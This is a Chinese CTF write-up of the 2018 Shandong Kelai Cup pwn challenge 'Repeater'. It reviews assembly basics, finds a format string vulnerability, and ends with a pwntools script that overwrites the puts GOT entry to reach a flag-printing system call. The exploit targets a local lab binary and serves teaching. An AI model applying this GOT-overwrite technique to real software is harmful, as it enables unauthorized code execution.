[Pwn]2018年山东省科来杯Pwn题目Repeater复现

2018年山东省科来杯Pwn题目Repeater复现

补充一点汇编语言基础知识

对于我这种对汇编语言不怎么感冒的人来说,补充一些相应的汇编语言的基础知识还是很重要的

这里就针对本题中用到的汇编指令进行相应补充

lea与mov的区别:lea eax,[ebx+8]就是将ebx+8这个值直接赋给eax (相当于把地址赋给eax),而不是把ebx+8处的内存地址里的数据赋给eax。

而mov指令则恰恰相反,例如:
mov eax,[ebx+8]则是把内存地址为ebx+8处的数据赋给eax。

cmp(compare)指令进行比较两个操作数的大小,若执行指令后ZF=1
则说明两个数相等,因为zero为1说明结果为0。

jnz结果不为零(或不相等)则转移,jz即零标志为1就跳转。
ZF汇编语言中的PSW标志寄存器中的一位,而JZ则是根据ZF决定是否跳转。
jz=jump if zero,即零标志为1就跳转,一般与cmp连用,用以判断两数是否相等。jz的另一种写法就是je,je=jump if equal,jz和je的作用是完全一样的。

Repeater WP

checksec 一下题目所给文件
在这里插入图片描述
运行一下试试看
在这里插入图片描述
好像看不出什么
测试一下格式化字符串漏洞

数一下 偏移为4
丢进ida看一下主程序
ctrl 1 看一下字符串,发现敏感字符串
在这里插入图片描述
双击 ctrl x 跟进
在这里插入图片描述
可以发现程序有call语句调用system,而system就是输出flag地址从而得到flag

但是根据上面的汇编语句或者getflag字段内容可以发现这里存在一个判断语句
在这里插入图片描述
在这里插入图片描述
2018h = (8216)₁₀,判断 eax是否等于8216 ,ZF=1则两数相等,相应的ZF=1意味着结果为0,即jnz不跳转。随即执行将eax压入栈,再执行call语句调用,即可得到flag。

根据偏移为4 编写exp脚本

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'DEBUG'
p = process("./repeater")
elf=ELF('./repeater')
puts_got=elf.got['puts']
p.recvuntil("your msg:")
payload = fmtstr_payload(4,{puts_got:0x8048638})
p.sendline(payload)
p.interactive()

运行即可得到flag

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2022 W1therC